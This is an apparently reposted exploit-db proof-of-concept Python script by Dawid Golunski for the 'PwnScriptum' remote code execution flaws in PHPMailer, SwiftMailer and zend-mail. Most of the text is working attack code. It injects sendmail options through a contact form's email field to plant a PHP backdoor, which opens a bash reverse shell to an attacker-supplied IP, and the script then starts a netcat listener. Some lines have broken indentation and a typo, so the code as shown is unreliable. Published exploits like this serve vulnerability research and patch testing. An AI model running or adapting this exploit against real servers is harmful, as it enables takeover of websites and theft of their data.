PHPMailer < 5.2.20 / SwiftMailer < 5.4.5-DEV / Zend Framework / zend-mail < 2.4.11 - 'AIO' 'PwnScriptum' Remote Code Execution

  • 作者: Dawid Golunski
    日期: 2017-01-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40986/
  • #!/usr/bin/python
    
    intro = """\033[94m 
    __ __ ____ __ 
     / / _______ _____ _/ // / / /___ ______/ /_______________
    / / / _ \/ __ `/ __ `/ // /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
     / /___/__/ /_/ / /_/ / // __/ /_/ / /__/ ,< /__/ /(__) 
    /_____/\___/\__, /\__,_/_//_/ /_/\__,_/\___/_/|_|\___/_//____/
     /____/ 
    
    
    PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit
    		 a.k.a "PwnScriptum"
    
     CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074
    
    
    This PoC exploit aims to execute a reverse shell on the target in 
    the context of the web-server user via vulnerable PHP email library.
    
    
    Discovered and Coded by:
    
    \033[1;34m 
     Dawid Golunski
     https://legalhackers.com
    
     t: @dawid_golunski for updates
    \033[0m
    \033[94m 
    P.$. For testing only! Don't break the Web ;) 
    \033[0m
    """
    info = """
    [Version]
    Limited (ver. 1.0)
    
    [PoC Video]
    See the the exploit in action at:
    
    https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html
    
    [Info]
    This exploit targets a common webapp component - Contact Form. 
    
    It combines payloads for the following vulns:
    
    1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
    https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
    
    2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass)
    https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html
    
    3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
    https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html
    
    4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
    https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html
    
    [Usage]
    
    ./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT
    [-d TARGET_UP_DIR] -ip ATTACKERS_IP
    [-p ATTACKERS_PORT] [--version]
    [--post-action POST_ACTION]
    [--post-name POST_NAME]
    [--post-email POST_EMAIL]
    [--post-msg POST_MSG]
    
    Note, make sure the contact form matches the default field names (send/name/email/msg). 
    Otherwise override with --post-msg=message_box for example.
    
    """
    
    import os
    import argparse
    import time
    import urllib
    import urllib2
    import socket
    import sys
    
    
    # The Main Meat
    print intro
    
    # Show info
    if '-H' in sys.argv:
    	print info
    	exit(0)
    # Parse input args
    parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)')
    parser.add_argument('-H', action='store_true', default="false", required=False,help='Full Help / Info Page')
    parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True,help='WebApp Base Url')
    parser.add_argument('-cf',dest='CONTACT_SCRIPT',required=True,help='Contact Form scriptname')
    parser.add_argument('-d' ,dest='TARGET_UP_DIR', required=False, help='Target Upload Dir')
    parser.add_argument('-ip',dest='ATTACKERS_IP',required=True,help='Attackers Public IP for RevShell')
    parser.add_argument('-p', dest='ATTACKERS_PORT',required=False, help='Attackers Port for RevShell listener')
    parser.add_argument('--version', action='version', version='%(prog)s 1.0 Limited edition')
    parser.add_argument('--post-action', dest='POST_ACTION',required=False, help='Overrides POST "action" field name', default="send")
    parser.add_argument('--post-name', dest='POST_NAME',required=False, help='Overrides POST "name of sender" field name', default="name")
    parser.add_argument('--post-email',dest='POST_EMAIL', required=False, help='Overrides POST "email" field name',default="email")
    parser.add_argument('--post-msg',dest='POST_MSG', required=False, help='Overrides POST "message" field name',default="msg")
    args = parser.parse_args()
    
    # Preset vars
    TMOUT = 3
    # Set Vars
    if args.ATTACKERS_PORT is None:
    	args.ATTACKERS_PORT = 8080
    if args.TARGET_UP_DIRis None:
    	args.TARGET_UP_DIR = "upload"
    # Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;)
    BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php'
    BACKDOOR_URL= args.WEBAPP_BASE_URL + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE
    CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT
    
    # Show params
    print """[+] Setting vars to: \n
    WEBAPP_BASE_URL = [%s]
    CONTACT_SCRIPT= [%s]
    TARGET_UP_DIR = [%s]
    ATTACKERS_IP= [%s]
    ATTACKERS_PORT= [%s]
    CONTACT_SCRIPT_URL= [%s]
    BACKDOOR_FILEl= [%s]
    """ % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE)
    
    
    print "[+] Choose your target / payload: "
    print "\033[1;34m"
    print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n"""
    print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045)
    	The escapeshellarg() bypass :)\n"""
    print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n"""
    print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"""
    print "\033[0m"
    
    try:
    target = int(raw_input('[?] Select target [1-2]: '))
    except ValueError:
    print "Not a valid choice. Exiting\n"
    exit(2)
    if (target>4):
    print "No such target. Exiting\n"
    exit(3)
    if target == 1:
    	# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
    	payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
    if target == 2:
    	# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
    	payload = "\"attacker\\' -oQ/tmp/ -X%s/%ssome\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE)
    if target == 3:
    	# SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
    payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
    if target == 4:
    	# Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
    payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
    
    print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR
    # PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g:
    # e.g: 
    #RCE_PHP_CODE = "<?php phpinfo(); ?>" 
    RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' ");?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT) 
    
    # The form names might need to be adjusted
    post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE}
    
    # Attack
    # Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor
    print "[+] Backdoor upload via the contact form at '%s'\n" % CONTACT_SCRIPT_URL
    data = urllib.urlencode(post_fields)
    req = urllib2.Request(CONTACT_SCRIPT_URL, data)
    response = urllib2.urlopen(req)
    the_page = response.read()
    
    
    # Check if the backdoor was uploaded correctly.
    # A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine
    # So we catch the timeout to find out.
    
    # Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it
    print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL
    got_timeout = 0
    http_err = 0
    try:
    urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1))
    except urllib2.HTTPError as e:
    http_err = e.code
    except socket.timeout as e:
    print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n"
    got_timeout = 1
    
    if (got_timeout != 1):
    print "[!] Something went wrong... Got error: [%d] \nTry another dir? Push through, don't give up! :)\n" % http_err
    exit(2)
    
    # Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called
    print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n"
    print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n"
    os.system("nc -v -l -p %d" % args.ATTACKERS_PORT)
    
    print "\n[+] Shell closed\n"
    
    print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n"